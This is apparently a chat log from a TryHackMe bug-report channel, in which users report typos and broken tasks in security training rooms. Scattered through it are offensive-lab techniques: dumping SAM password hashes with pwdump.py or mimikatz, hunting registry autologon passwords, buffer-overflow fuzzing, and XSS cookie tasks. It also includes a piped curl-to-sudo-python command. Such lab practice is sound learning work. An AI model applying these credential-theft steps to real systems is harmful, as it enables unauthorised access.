I think I see where I went wrong...I was expecting the MAC -> IP to be a 1:1, I didn't consider multiple IP's belonging to a single MAC. The question is worded in a way that leads you to think it's a single host on that MAC.

timid crane Dec 30, 2020, 8:16 PM

#

In the Windows PrivEsc room task 9 I'm assuming we're looking for a registry entry named "DefaultPassword", unfortunately this entry does not seem to be there

#

https://tryhackme.com/room/windows10privesc

TryHackMe

TryHackMe | Windows PrivEsc

Practice your Windows Privilege Escalation skills on an intentionally misconfigured Windows VM with multiple ways to get admin/SYSTEM! RDP is available. Credentials: user:password321

thorn kindle Dec 30, 2020, 9:18 PM

#

timid crane In the Windows PrivEsc room task 9 I'm assuming we're looking for a registry ent...

I found that exact same issue a week ago...and so far i was unable to find a passwd

timid crane Dec 30, 2020, 9:20 PM

#

thorn kindle I found that exact same issue a week ago...and so far i was unable to find a pas...

to be honest my experience with winlogon / the autoadminlogon feature is that it loves to wipe the reg value "DefaultAdminPassword"

#

it's just annoying that you can't 100% the room without that password

thorn kindle Dec 30, 2020, 9:25 PM

#

timid crane it's just annoying that you can't 100% the room without that password

exactly

timid crane Dec 30, 2020, 9:31 PM

#

but you can probably guess the password @thorn kindle

thorn kindle Dec 30, 2020, 9:33 PM

#

timid crane but you can probably guess the password <@!257967879704674304>

i've been told that before, but all my guesses so far were wrong xd

timid crane Dec 30, 2020, 9:33 PM

#

it's used for other tasks

thorn kindle Dec 30, 2020, 9:43 PM

#

timid crane it's used for other tasks

just figure it out now by doing task 16...thanks

robust niche Dec 30, 2020, 10:05 PM

#

Not really a bug, but the splunk room (https://tryhackme.com/room/bpsplunk) asks for link to forum this has changed from answers.splunk.com to community.splunk.com 🙂

TryHackMe

TryHackMe | undefined

An online platform for learning and teaching cyber security, all through your browser.

lean jungle Dec 30, 2020, 11:25 PM

#

timid crane but you can probably guess the password <@!257967879704674304>

@thorn kindle You, guys. Have you managed to do task 11? I have been stuck there for a day... I wanna know if it is solvable or not.

https://tryhackme.com/room/windows10privesc

TryHackMe

TryHackMe | Windows PrivEsc

Practice your Windows Privilege Escalation skills on an intentionally misconfigured Windows VM with multiple ways to get admin/SYSTEM! RDP is available. Credentials: user:password321

north gyro Dec 31, 2020, 1:14 AM

#

@lean jungle of course, its solvable,

curl https://bootstrap.pypa.io/get-pip.py | sudo python -

to install pip, then

sudo pip install crypto

to install crypto extensions, follow the rest of the instructions as is.
or you could just use mimikatz which will do the same job, but runs in windows

velvet flare Dec 31, 2020, 1:20 AM

#

Something buggy in one of the tasks in the OWASP Top 10 room. Task 29, the components with known vulnerabilities lab. Once the machine is deployed and I've navigated to the web app, everything works fine on initial load. But if I go anywhere on the site, the database breaks, and I get the error "Can't connect database No such file or directory". This also keeps the intended exploit from running and providing a shell. Redeploying is the only way I can find to fix the database. I've successfully completed the task, just wanted to pass the bug along.

lean jungle Dec 31, 2020, 9:15 AM

#

north gyro <@!414311709142941697> of course, its solvable, ``` curl https://bootstrap.pypa...

@north gyro Thank you for your help. I have been trying to install and get it working, but I couldn't. So, I did research and found pycrypto, instead. It worked.

north gyro Dec 31, 2020, 9:47 AM

#

@lean jungle good job, there is always a solution™

woeful hawk Dec 31, 2020, 10:24 AM

#

A very small typo, but on the https://tryhackme.com/room/lle task 3 it says: " Copy the content of the id_rsa.pub file and put it inside the authorized_key file on the target machine (located in .ssh folder). ", while it should say authorized_keys (it correctly uses the plural in the paragraph before, but can cause unnecessary confusion as the file does not exist on the target box from the start

TryHackMe

TryHackMe | Cyber Security Training

An online platform for learning and teaching cyber security, all through your browser.

novel plover Dec 31, 2020, 10:35 AM

#

For Room: Retro, in PrivEsc portion, there's no option for me to open any browser. Followed the advice of @obsidian kiln based on @heavy spade's reco but still to no avail 😦

#

I've tried to restart the box/instance and still encounter the same issue.

next bluff Dec 31, 2020, 11:47 AM

#

woeful hawk A very small typo, but on the https://tryhackme.com/room/lle task 3 it says: " C...

Yes, that is intended. It is common for the boxes to not have authorized_keys files

#

So you can easily make one yourself there

woeful hawk Dec 31, 2020, 12:30 PM

#

next bluff Yes, that is intended. It is common for the boxes to not have `authorized_keys` ...

yeah the task wasn't hard at all once I realized the missing s.

silk hatch Dec 31, 2020, 1:18 PM

#

Is the new Nessus room supposed to give points?

#

https://tryhackme.com/room/rpnessusredux

TryHackMe

TryHackMe | Nessus

Learn how to set up and use Nessus, a popular vulnerability scanner.

#

This one

obsidian kiln Dec 31, 2020, 1:20 PM

#

Unlikely

verbal sedge Dec 31, 2020, 1:21 PM

#

Its a walkthrough room each task that requires an answer will give 8 points.

silk hatch Dec 31, 2020, 1:24 PM

#

verbal sedge Its a walkthrough room each task that requires an answer will give 8 points.

I have not been rewarded any points to my monthly score, even though the room has been released this month

#

Is this expected behavior of the room?

obsidian kiln Dec 31, 2020, 1:25 PM

#

Likely if it's a big room, yea

silk hatch Dec 31, 2020, 1:26 PM

#

Ah, shame, im having an epic battle for the throne, that's why i was concerned about the monthy pointis

📎 unknown.png

#

Thanks

verbal sedge Dec 31, 2020, 1:31 PM

#

@silk hatch iirc walkthrough rooms points are not counted in monthly leaderboard. Only CTF(correct me if i'm wrong @obsidian kiln )

wheat fractal Dec 31, 2020, 1:33 PM

#

Hello,

#

I have found an error on this room: Introductory Networking

At the** task 6**

At this question: What is the IP address?

Now the ip is an Ipv6 ip :2001:8d8:100f:f000::241
Not this ip: 217.160.0.152

#

you can try yourself do a ping muirlandoracle.co.uk

#

but you can find the good ip with a -4 so idk

eternal summit Dec 31, 2020, 1:39 PM

#

@obsidian kiln your blog does IPv6 smh

#

Just gotta tell em to use ipv4

obsidian kiln Dec 31, 2020, 1:39 PM

#

Mhm. I'll add that into the hint

proper surge Jan 1, 2021, 4:04 PM

#

Hello, I may have found an error in the room "Buffer Overflow Prep" when using it with the AttackBox. Specifically, on Task 2, when I execute the "fuzzer.py" command as instructed, the AttackBox only is able to send 100 bytes before Immunity Debugger on the Target Windows VM terminates the oscp.exe file. However, when I go to execute the following sub-step involving exploit.py, I do not get the "EIP contains normal pattern" message in the log as the task says I should. Furthermore, when I go to look at the official writeups, it looks like those writeup authors are able to get "fuzzer.py" to go up into the thousands before oscp.exe is terminated on the Target Windows VM. Since the room's deployment, has an unexpected safeguard been deployed on either the Target Windows VM, or the Attackbox -> VM Network Infrastructure to kill a BOF fuzzing attempt?

eternal summit Jan 1, 2021, 4:11 PM

#

No

proper surge Jan 1, 2021, 4:14 PM

#

thanks for the prompt reply. I'll take another look at the "fuzzer.py" code to make sure I'm copying and pasting it into the AttackBox correctly.

eternal summit Jan 1, 2021, 4:14 PM

#

proper surge thanks for the prompt reply. I'll take another look at the "fuzzer.py" code to ...

be aware the script was written for python2

#

You will need to use python2.7 on the box or similar

proper surge Jan 1, 2021, 4:15 PM

#

ahh, that may be the issue then, as I was executing it using an older python version I think

eternal summit Jan 1, 2021, 4:15 PM

#

python on the attackbox is Python3 because it's 202(0/1)

eternal summit Jan 1, 2021, 4:15 PM

#

proper surge ahh, that may be the issue then, as I was executing it using an older python ver...

Newer.

proper surge Jan 1, 2021, 4:16 PM

#

ok, I'll look further into the python command to make sure the file is executed using the right python version. Thank you!

proper surge Jan 1, 2021, 4:24 PM

#

eternal summit Newer.

I'm confirming that the incorrect python version was the issue. Running with "python2 fuzzer.py" resolved the issue. Given that the task provides very specific commands to be executed (since it's a beginner room), may I recommend that the text be slightly revised to indicate that the python file needs to be run using Python2? Thanks again for the prompt assistance!

eternal summit Jan 1, 2021, 4:24 PM

#

proper surge I'm confirming that the incorrect python version was the issue. Running with "p...

bear in mind this was a change with all of python

#

The convention always was python was 2.7 and python3 was python3.x

#

This has changed because python2.7 is unsupported. A lot of exploits are still written in python2 though. It's a major issue.

proper surge Jan 1, 2021, 4:26 PM

#

eternal summit bear in mind this was a change with all of python

Thanks for this background information. If I run into a similar issue in the future, I'll be sure to explicitly run the file with python 2 to see if that works.

wheat fractal Jan 1, 2021, 5:08 PM

#

Hello, I would like to report that at https://tryhackme.com/room/commonlinuxprivesc there is a link to a now private room https://tryhackme.com/room/zthlinux

TryHackMe

TryHackMe | Cyber Security Training

An online platform for learning and teaching cyber security, all through your browser.

TryHackMe

TryHackMe | Learn Linux

A guided room designed to teach you the Linux basics!

oblique hemlock Jan 1, 2021, 8:17 PM

#

i read somewhere a few days ago that windows boxes were acting funny but now i'm trying to do Pickle Rick CTF and it keeps crashing every minute or so. Is that also with linux boxes or is it just this one.

eternal summit Jan 1, 2021, 8:17 PM

#

Nope I'd recommend asking for help in the help chats

oblique hemlock Jan 1, 2021, 8:18 PM

#

but i don't really need help, i just need it to stop crashing 😄

eternal summit Jan 1, 2021, 8:20 PM

#

oblique hemlock but i don't really need help, i just need it to stop crashing 😄

It's probably not crashing. #site-support

wheat fractal Jan 1, 2021, 9:33 PM

#

Having an issue with SimpleCTF - When I do a port scan, I get back 2 ports under 1000, 21, and 80, but the questions are expecting SSH to be listed as the highest port (22) Currently connected at 10.10.197.123

slate parrot Jan 1, 2021, 9:46 PM

#

In Web Scanning, Task 3, Question "Featured in various rooms on TryHackMe, Cross-Site Scripting is a vicious attack ...", the AttackBox version of ZAP does not provide the expected answer of ||Web Browser XSS Protection Not Enabled|| -- see screenshot. I have re-ran the scan twice, including in ATTACK mode.

📎 Screenshot_2021-01-01_at_21.43.23.png

eternal summit Jan 1, 2021, 9:58 PM

#

wheat fractal Having an issue with SimpleCTF - When I do a port scan, I get back 2 ports under...

I think that's the wrong VM that you're scanning?

eternal summit Jan 1, 2021, 9:58 PM

#

slate parrot In Web Scanning, Task 3, Question "*Featured in various rooms on TryHackMe, Cros...

Known issue, the alert is deprecated

wheat fractal Jan 1, 2021, 9:59 PM

#

eternal summit I think that's the wrong VM that you're scanning?

I think so too.

#

But that is one that is being deployed. I tried it twice.

eternal summit Jan 1, 2021, 9:59 PM

#

Scan with -p-

oblique hemlock Jan 1, 2021, 10:24 PM

#

Task 16 in /room/zthobscurewebvulns has this weird sentence

📎 unknown.png

obsidian kiln Jan 1, 2021, 10:28 PM

#

@wheat fractal fix 😁

wheat fractal Jan 1, 2021, 10:33 PM

#

hello! A small bug in room kenobi, Task1 question: the number of expected open ports is single digit, which is correct if you run nmap <ip> -vv , but with nmap -p- <ip> you get 11 open ports, which seems technically more accurate 🙂

wheat fractal Jan 1, 2021, 10:53 PM

#

another small typo Which is actually a version of /usr/sh -> Which is actually a version of /bin/sh no?

glad plume Jan 1, 2021, 11:07 PM

#

https://tryhackme.com/room/sqlibasics

Task 6 gives examples of true and false sqli payloads but they both resolve to 'true' and the parameter is not actually susceptible to SQLi according to 'Damn Small SQLi Scanner'

Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code) #v0.3b
 by: Miroslav Stampar (@stamparm)

* scanning GET parameter 'id'

scan results: no vulnerabilities found```

TryHackMe

TryHackMe | Cyber Security Training

An online platform for learning and teaching cyber security, all through your browser.

glad plume Jan 1, 2021, 11:08 PM

#

glad plume https://tryhackme.com/room/sqlibasics Task 6 gives examples of true and false s...

I've reset the room and same issue.

📎 unknown.png

whole prairie Jan 2, 2021, 12:09 AM

#

north gyro <@!414311709142941697> of course, its solvable, ``` curl https://bootstrap.pypa...

Hi @north gyro , I have the same (i think) issue as @lean jungle at task11 of Windows PrivEsc room: The

sudo apt install python-crypto

command returns that

E: Unable to locate package python-crypto

So, I tried to install crypto pack instead as you suggested with pip:

sudo pip install crypto

Witch is installed, but still it's not working the final command:
python2 creddump7/pwdump.py SYSTEM SAM returns:

ImportError: No module named Crypto.Hash

#

Any ideas?

lean jungle Jan 2, 2021, 12:19 AM

#

whole prairie Hi <@!398297084094316555> , I have the same (i think) issue as <@!41431170914294...

Hi. I have had the same problem, but it is solved. Look for my post! skidy

eternal summit Jan 2, 2021, 12:19 AM

#

whole prairie Hi <@!398297084094316555> , I have the same (i think) issue as <@!41431170914294...

If it's installed for python3, then it works in python3. You need to install it for 2 to use it in 2

whole prairie Jan 2, 2021, 12:20 AM

#

lean jungle Hi. I have had the same problem, but it is solved. Look for my post! <:skidy:651...

Thanks, I messed up with pip and I'm trying to fix it now 🙂

whole prairie Jan 2, 2021, 12:22 AM

#

eternal summit If it's installed for python3, then it works in python3. You need to install it ...

Yes, I tried @north gyro's pip installation and now pip isn't working (I messed somtething)

whole prairie Jan 2, 2021, 12:35 AM

#

lean jungle Hi. I have had the same problem, but it is solved. Look for my post! <:skidy:651...

So @lean jungle how did you installed pycrypto? After @north gyro's

curl https://bootstrap.pypa.io/get-pip.py | sudo python -

pip refuses to install (but downloads the source) pycrypto:

📎 kor.png

lean jungle Jan 2, 2021, 1:00 AM

#

whole prairie So <@!414311709142941697> how did you installed pycrypto? After <@!3982970840943...

Yes. I think I have encountered that. Sorry, I don't remember how I fixed it. So, I tried the same with a new Kali in-browser box now and it worked.
||root@kali:~# pip install pycrypto DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality. Collecting pycrypto Downloading pycrypto-2.6.1.tar.gz (446 kB) |████████████████████████████████| 446 kB 13.8 MB/s Building wheels for collected packages: pycrypto Building wheel for pycrypto (setup.py) ... done Created wheel for pycrypto: filename=pycrypto-2.6.1-cp27-cp27mu-linux_x86_64.whl size=525217 sha256=fb6071b7be726dcefb2f196ec346890b0455f389dfc65f508b99834a03d87602 Stored in directory: /root/.cache/pip/wheels/b6/e6/c8/d1eca13628952ceec1d40d96e0a7a1380460d2349ce0b85312 Successfully built pycrypto Installing collected packages: pycrypto Successfully installed pycrypto-2.6.1 root@kali:~# ||

#

FYI, it is working on my local kali VM.

north gyro Jan 2, 2021, 2:20 AM

#

@whole prairie i need more of the error message to be sure but try sudo pip install wheel

rigid cargo Jan 2, 2021, 5:14 AM

#

On /room/owasptop10, Task 20, "On the same page, create an alert popup box appear on the page with your document cookies." question doesn't work.

wheat fractal Jan 2, 2021, 5:15 AM

#

it does work, at least it did for me

#

u may be using wrong script or try restarting the machine

rigid cargo Jan 2, 2021, 5:18 AM

#

If it's working for others then there must be something wrong with my environment I guess, I've tried this a few times. I'll go back and do screenshots another time

wheat fractal Jan 2, 2021, 5:20 AM

#

ok

woeful hawk Jan 2, 2021, 11:32 AM

#

Perhaps not much of an error, but on the https://tryhackme.com/room/windows10privesc the path to the smbserver.py (task 2) is not valid for the THM attack boxes, that version of kali needs the command to be python3 /opt/impacket/examples/smbserver.py kail .

TryHackMe

TryHackMe | Windows PrivEsc

Practice your Windows Privilege Escalation skills on an intentionally misconfigured Windows VM with multiple ways to get admin/SYSTEM! RDP is available. Credentials: user:password321

#

It's also a bit problematic that the suggested port (53) is bound on the attack box: tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 815/systemd-resolve

zealous vortex Jan 2, 2021, 1:21 PM

#

Look at the cmd provided there is an extra curly braces....
I was copy pasting and thinking of network issues but it was different:joy: :joy:

It is in beginers path linux local enumeration

📎 20210102_184949.jpg

eternal summit Jan 2, 2021, 1:28 PM

#

woeful hawk It's also a bit problematic that the suggested port (53) is bound on the attack ...

Bound on 127.0.0.1 yes, listen on a different interface

woeful hawk Jan 2, 2021, 1:36 PM

#

eternal summit Bound on 127.0.0.1 yes, listen on a different interface

true, I just swapped to port 4444 instead so no real issue for me, just with how handheld the room is it was a bit unexpected situation

eternal summit Jan 2, 2021, 1:45 PM

#

@woeful hawk It's pretty usual to have the local DNS server listening on 127.0.0.1:53.

#

Listening on a different interface will fix it

woeful hawk Jan 2, 2021, 2:01 PM

#

yes I got that working too, thanks for the help and the location of the smbserver.py wasn't that much of a "bug" really to start with (don't know what severity of errors should be reported)

tired pendant Jan 2, 2021, 4:03 PM

#

@warped talon OWASP Juice Shop Task 5 #3 I have obtained a flag for downloading one of the .bak files but the flag says its incorrect as per @sonic rover and I have downloaded the other .bak file but flag was not given at all. Can you please clarify where the flag actually is?

wild bramble Jan 2, 2021, 4:19 PM

#

📎 unknown.png